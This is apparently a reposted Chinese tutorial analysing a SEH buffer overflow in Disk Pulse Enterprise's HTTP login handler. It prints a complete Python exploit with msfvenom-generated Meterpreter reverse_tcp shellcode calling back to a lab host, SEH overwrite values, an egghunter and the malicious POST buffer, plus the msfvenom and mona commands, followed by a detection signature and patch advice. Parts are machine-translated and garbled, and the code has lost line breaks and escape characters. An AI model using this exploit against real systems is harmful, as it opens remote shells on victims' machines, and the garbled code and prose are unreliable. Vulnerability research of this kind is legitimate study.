如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析
时间:2023-05-18 23:14
Disk Pulse Eneterprise是一款监视磁盘变化的软件,它可以通过一个管理端口9120或者web管理窗口80对软件进行连接管理,从而监视磁盘的变化情况。在Disk Pulse Eneterprise中有一个动态链接库libspp.dll ,其中有一些负责HTTP操作的函数,问题就出现在这个动态链接库中,在处理后数据时,由于对于后数据没有进行严格的长度控制,导致在执行获取后数据时向无效内存拷贝数据造成缓冲区溢出,触发SEH异常行为处理,最后控制EIP,执行任意代码。 软件下载链接:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe) 漏洞披露地址:https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452) windows 7 x86:系统环境 IDA pro:静态分析工具 免疫调试器:漏洞分析专用调试器 WinDbg的:漏洞调试器 先简单看一下POC,是一个比较综合的缓冲区溢出漏洞。该文中讨论了SEH结构化异常处理程序和egghunter技术。 熟悉编程的人可能对结构化异常处理(SEH)这种用于处理硬件和软件异常的窗口机制很熟悉。它通常表示为尝试/除和的try / catch代码块。 简单来说,它是一种寻址技术,它通过设计标记并跳转到另一个标记的位置来执行 shellcode。当shellcode无法被存放在缓冲区时,使用egghunter技术是必要的。 首先,我们先分析一下POC 攻击者构建了http请求包,可以看出post请求,url是/ login,content-length:17000。发送了12292个“ x41”字节,然后发送了“w00tw00t”8个字节,之后发送了20个 “ X90” NOP字节,之后发送的buf,再加50个NOP,1614个 “ X42”,接下来就是SEH的异常处理机制(不太懂的同学可以去深入了解一下),接下来是egghunter执行代码,大概意思就是去跳转到含有双重 “w00t” 的地方执行。剩下就是对缓冲区的填充。 接下来我们使用文DBG打开带有漏洞版本的应用程序。 发送有效载荷,触发漏洞。输入克,返回地址被覆盖,KB查看堆栈调用。 这里调用了libspp.dll的SCA_HttpParser的GetNextString函数,接下来程序进入SHE异常行为处理,通过覆盖SEH Handler打到代码执行。 打开IDA,分析10092822处,在libspp中SCA_HttpParse类负责处理HTTP的一些相关操作,其中有一个函数名为ExtractPostData负责处理后数据,在这个函数入口下断点。这个函数的入口地址为10092510 发送缓冲区全用一个代替的POC,触发漏洞,如下图所示: 查看传参情况,后期数据作为第二个参数传入,注意是完整传入。 这里继续单步跟踪,到达之前说到的GetNetString函数。 这个函数会做一件事情,就是将第一个参数,也就是后期数据进行拆分,将每一部分分离出来作为后续处理,单步步过,可以看到第一次进入GetNextString之后,拆分了第一个数据。 第一次分离出来了用户名,接下来,再次进入GetNextString开始拆分第二个字符串,这个拆分过程会执行一系列的拷贝操作。 这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。 因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。 看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。 之后看一下ECX的值 CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。 再来看一下GetNextString函数的伪代码。 首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。 我们需要找到SHE的偏移量。 利用蒙娜丽莎命令生成20000个字符 运行完在C:日志 FTPServer的 pattern.txt中找到。 重启程序,将其加入到脚本中的BUF中运行 使用蒙娜丽莎命令来寻找SEH偏移量 查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。 偏移量是14292。 接下来,要寻找pop pop ret的地址 使用!mona seh 打开seh.txt日志查找指向POP POP RET序列的代码块地址。 设置的shellcode里面的 利用msf生成通用的shellcode,命令如下 在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。 重启程序,打开的Metasploit 选择开发模式 输入命令,设置参数 发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。 请求方式:POST 请求路径:/登录 漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 | 升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。 下载地址:https://www.diskpulse.com/downloads.html 以上就是如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析的详细内容,更多请关注Gxl网其它相关文章!一、漏洞简介
二、实验环境
三、漏洞分析
SEH概述
Egghunter概述
#!/usr/bin/pythonimport socketimport syss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.46.160',80))#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0ax0dx26' -f python --smallestbuf = ""buf += "xdbxdfxd9x74x24xf4xbax92xa7xaexd7x5bx29"buf += "xc9xb1x56x31x53x18x83xc3x04x03x53x86x45"buf += "x5bx2bx4ex0bxa4xd4x8ex6cx2cx31xbfxacx4a"buf += "x31xefx1cx18x17x03xd6x4cx8cx90x9ax58xa3"buf += "x11x10xbfx8axa2x09x83x8dx20x50xd0x6dx19"buf += "x9bx25x6fx5exc6xc4x3dx37x8cx7bxd2x3cxd8"buf += "x47x59x0exccxcfxbexc6xefxfex10x5dxb6x20"buf += "x92xb2xc2x68x8cxd7xefx23x27x23x9bxb5xe1"buf += "x7ax64x19xccxb3x97x63x08x73x48x16x60x80"buf += "xf5x21xb7xfbx21xa7x2cx5bxa1x1fx89x5ax66"buf += "xf9x5ax50xc3x8dx05x74xd2x42x3ex80x5fx65"buf += "x91x01x1bx42x35x4axffxebx6cx36xaex14x6e"buf += "x99x0fxb1xe4x37x5bxc8xa6x5fxa8xe1x58x9f"buf += "xa6x72x2axadx69x29xa4x9dxe2xf7x33x94xe5"buf += "x07xebx1ex65xf6x0cx5exafx3dx58x0exc7x94"buf += "xe1xc5x17x18x34x73x12x8ex77x2bx0cxe5x10"buf += "x29x51xe8xbcxa4xb7x5ax6dxe6x67x1bxddx46"buf += "xd8xf3x37x49x07xe3x37x80x20x8exd7x7cx18"buf += "x27x41x25xd2xd6x8exf0x9exd9x05xf0x5fx97"buf += "xedx71x4cxc0x89x79x8cx11x3cx79xe6x15x96"buf += "x2ex9ex17xcfx18x01xe7x3ax1bx46x17xbbx2d"buf += "x3cx2ex29x11x2ax4fxbdx91xaax19xd7x91xc2"buf += "xfdx83xc2xf7x01x1ex77xa4x97xa1x21x18x3f"buf += "xcaxcfx47x77x55x30xa2x0bx92xcex30x24x3b"buf += "xa6xcax74xbbx36xa1x74xebx5ex3ex5ax04xae"buf += "xbfx71x4dxa6x4ax14x3fx57x4ax3dxe1xc9x4b"buf += "xb2x3axfax36xbbxbdxfbxc6xd5xd9xfcxc6xd9"buf += "xdfxc1x10xe0x95x04xa1x57xa5x33x84xfex2c"buf += "x3bx9ax01x65"#pop pop ret 1001A333nseh = "xEBx0Bx90x90"seh = "x33xA3x01x10"egghunter = "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"egghunter += "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"evil = "POST /admin HTTP/1.1
"evil += "Host: 192.168.46.160
"evil += "User-Agent: Mozilla/5.0
"evil += "Connection: close
"evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
"evil += "Accept-Language: en-us,en;q=0.5
"evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
"evil += "Keep-Alive: 300
"evil += "Proxy-Connection: keep-alive
"evil += "Content-Type: application/x-www-form-urlencoded
"evil += "Content-Length: 21000
"evil += "x41" * 12292 #subtract/add for payloadevil += "w00tw00t"evil += "x90" * 20evil += bufevil += "x90" * 50evil += "x42" * 1554evil += nsehevil += sehevil += "x90" * 20evil += egghunterevil += "x90" * 7000print 'Sending evil buffer...'s.send(evil)print 'Payload Sent!'s.close()
四、漏洞利用
!mona pattern_create 20000
!mona findmsp
nseh =“ xEB x0B x90 x90”seh =“ x33 xA3 x01 x10”
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b' x00 x0a x0d x26'-f python -smallest
五、漏洞利用特征:
六、防御建议